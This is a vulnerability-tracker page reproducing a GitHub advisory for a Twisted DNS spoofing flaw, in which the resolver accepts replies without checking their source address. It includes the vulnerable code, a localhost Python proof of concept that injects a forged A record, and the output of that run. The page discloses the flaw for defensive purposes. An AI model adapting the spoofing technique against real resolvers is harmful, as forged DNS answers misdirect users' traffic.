KEVWire

Security intelligence, with context.

Response snapshot Oct 27, 2026, 16:01 UTC

Back to the wire
Permalink
VulnerabilityCVE-2026-83813

Twisted: DNS Response Spoofing in twisted.names Due to Missing Source Address Validation

`twisted.names.dns.DNSDatagramProtocol`, the UDP transport used by twisted's DNS client (`twisted.names.client.Resolver`, `createResolver`, and anything built on it, including MX lookups in `twisted.

At a glance

Exploited
Not known
Severity
3.1 Low (CVSS 3.1)
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: Twisted: 26.10.0rc1. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-jj36-9pvh-vj5r (opens a new tab)

What happened

### Summary

`twisted.names.dns.DNSDatagramProtocol`, the UDP transport used by twisted's DNS client (`twisted.names.client.Resolver`, `createResolver`, and anything built on it, including MX lookups in `twisted.mail`), accepts a DNS response for a pending query solely on the basis of the 16-bit transaction ID matching. It never checks that the response actually originated from the server the query was sent to.

Any host that can deliver a UDP packet to the resolver's listening port with the correct transaction ID can inject a forged answer, independent of the real server's address. This is a materially weaker defense than standard DNS resolver practice (transaction ID plus source-address validation, typically also source-port rotation), and enables off-path DNS response spoofing / cache poisoning.

### Details

Continue reading

`DNSDatagramProtocol.datagramReceived` (`src/twisted/names/dns.py`, line 3350) is:

```python def datagramReceived(self, data, addr): """ Read a datagram, extract the message in it and trigger the associated Deferred. """ m = Message() try: m.fromStr(data) except EOFError: ... except ValueError as ex: ... except BaseException: ...

if m.id in self.liveMessages: d, canceller = self.liveMessages[m.id] del self.liveMessages[m.id] canceller.cancel() try: d.callback(m) except BaseException: log.err() else: if m.id not in self.resends: self.controller.messageReceived(m, self, addr) ```

The `addr` parameter, the UDP source address of the datagram, is accepted but never compared against the address the corresponding query was sent to. The only check is `m.id in self.liveMessages`, and `liveMessages` is keyed purely by the transaction ID chosen in `DNSMixin.pickID()`.

The listening socket is a plain `listenUDP(0, self, maxPacketSize=512)` (line 3348), not connected to the queried server, so the kernel does not filter by source address either; any host can deliver a UDP datagram to this socket.

The transaction ID itself is generated with `secureRandom` (`randomSource()`, line 174), so it is not predictable, but at 16 bits it is a 1-in-65536 space per attempt. `twisted.names.client.

Resolver`, the standard, documented DNS client, mitigates brute-force guessing of that space by creating a brand-new `DNSDatagramProtocol` bound to a fresh, independently random source port (`_connectedProtocol()`, `src/twisted/names/client.py` line 206, using `dns.randomSource()`) for every individual query, and tearing the socket down once the query completes (`_query()`, line 253).

This gives an off-path attacker roughly 32 bits of combined entropy (port and transaction ID) to guess per query issued through the standard client, not just the 16 bits of the transaction ID alone.

The missing source-address check is still a real gap for two reasons.

First, it removes a defense-in-depth backstop that DNS resolver best practice (RFC 5452) treats as independent from port and ID randomization; an attacker who is on-path, shares a broadcast domain or NAT with the resolver or the real DNS server, or is otherwise able to observe or narrow the ephemeral port faces no additional barrier at all, since source-address validation is exactly the check that would stop them.

Second, `DNSDatagramProtocol` is itself a public, documented class; code that constructs one directly and issues more than one query against the same instance, rather than going through `client.Resolver`'s per-query protocol and port cycling, reuses the same source port for every query after the first, so guessing the 16-bit transaction ID alone is sufficient from that point on.

`twisted.names.client.Resolver` uses this same `DNSDatagramProtocol` class for every UDP query it issues, so every consumer of the standard twisted DNS client, including `twisted.mail`'s MX resolution, is subject to the same unauthenticated accept logic in `datagramReceived`, moderated by the per-query port rotation described above.

### PoC

```python import socket from twisted.internet import reactor from twisted.names import dns

class CapturingController: def messageReceived(self, message, protocol, address): pass

def main(): resolverProto = dns.DNSDatagramProtocol(CapturingController()) resolverProto.startListening()

real_server = ("203.0.113.1", 53) # RFC 5737 TEST-NET-1, never answers query = dns.Query(b"victim.example.com", dns.A, dns.IN) d = resolverProto.query(real_server, [query], timeout=5)

stolen_id = next(iter(resolverProto.liveMessages)) resolver_port = resolverProto.transport.getHost().port

forged = dns.Message(stolen_id, answer=1) forged.queries = [query] forged.answers = [ dns.RRHeader(name=b"victim.example.com", type=dns.A, cls=dns.IN, ttl=60, payload=dns.Record_A(address="6.6.6.6")) ]

attacker_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) attacker_sock.bind(("127.0.0.1", 0)) # unrelated to real_server attacker_sock.sendto(forged.toStr(), ("127.0.0.1", resolver_port))

def onResult(message): print("Resolver ACCEPTED forged response as the answer to its query to", real_server) print("Spoofed A record:", message.answers[0].payload.dottedQuad()) reactor.stop()

d.addCallback(onResult)

reactor.callWhenRunning(main) reactor.run() ```

Output:

``` Resolver listening on 127.0.0.1:54997, queried ('203.0.113.1', 53), id=6995 Forged response sent from ('127.0.0.1', 53644) (NOT ('203.0.113.1', 53)) Resolver ACCEPTED forged response as the answer to its query to ('203.0.113.1', 53) Spoofed A record: 6.6.6.6 ```

The query was sent to `203.0.113.1:53`, an address reserved by RFC 5737 for documentation and testing that will never respond. The forged response was sent from an unrelated local UDP socket bound to a different, unrelated port. The resolver accepted it as the legitimate answer purely because the transaction ID matched, proving the response's source address plays no role in validation. ### Impact

Any application resolving hostnames through `twisted.names` can have DNS answers forged by a network party a

Affected package ranges reported by GitHub: Twisted: <= 26.4.0

Scores and how they were measured

CVSS base severity

3.1

Version 3.1As of

CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-jj36-9pvh-vj5r (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-jj36-9pvh-vj5r, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 27). Twisted: DNS Response Spoofing in twisted.names Due to Missing Source Address Validation (CVE-2026-83813). https://kevwire.com/record/CVE-2026-83813

MLA

"Twisted: DNS Response Spoofing in twisted.names Due to Missing Source Address Validation (CVE-2026-83813)." KEVWire, 27 Oct. 2026, kevwire.com/record/CVE-2026-83813.

Chicago

KEVWire. "Twisted: DNS Response Spoofing in twisted.names Due to Missing Source Address Validation (CVE-2026-83813)." Last modified October 27, 2026. https://kevwire.com/record/CVE-2026-83813.

Evidence summary (plain text)

Twisted: DNS Response Spoofing in twisted.names Due to Missing Source Address Validation (Oct 27, 2026).
`twisted.names.dns.DNSDatagramProtocol`, the UDP transport used by twisted's DNS client (`twisted.names.client.Resolver`, `createResolver`, and anything built on it, including MX lookups in `twisted.mail`), accepts a DNS response for a pending query solely on the basis of the 16-bit transaction ID matching. It never checks that the response actually originated from the server the query was sent to. Any host that can deliver a UDP packet to the resolver's listening port with the correct transaction ID can inject a forged answer, independent of the real server's address. This is a materially weaker defense than standard DNS resolver practice (transaction ID plus source-address validation, typically also source-port rotation), and enables off-path DNS response spoofing / cache poisoning.

`DNSDatagramProtocol.datagramReceived` (`src/twisted/names/dns.py`, line 3350) is:
CVSS 3.1 (version 3.1; evidence as of Oct 27, 2026; https://github.com/advisories/GHSA-jj36-9pvh-vj5r).
Sources:
GitHub-reviewed advisory GHSA-jj36-9pvh-vj5r: https://github.com/advisories/GHSA-jj36-9pvh-vj5r
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: CVE-2026-83813.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 27, 2026, 16:00 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are not available yet. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail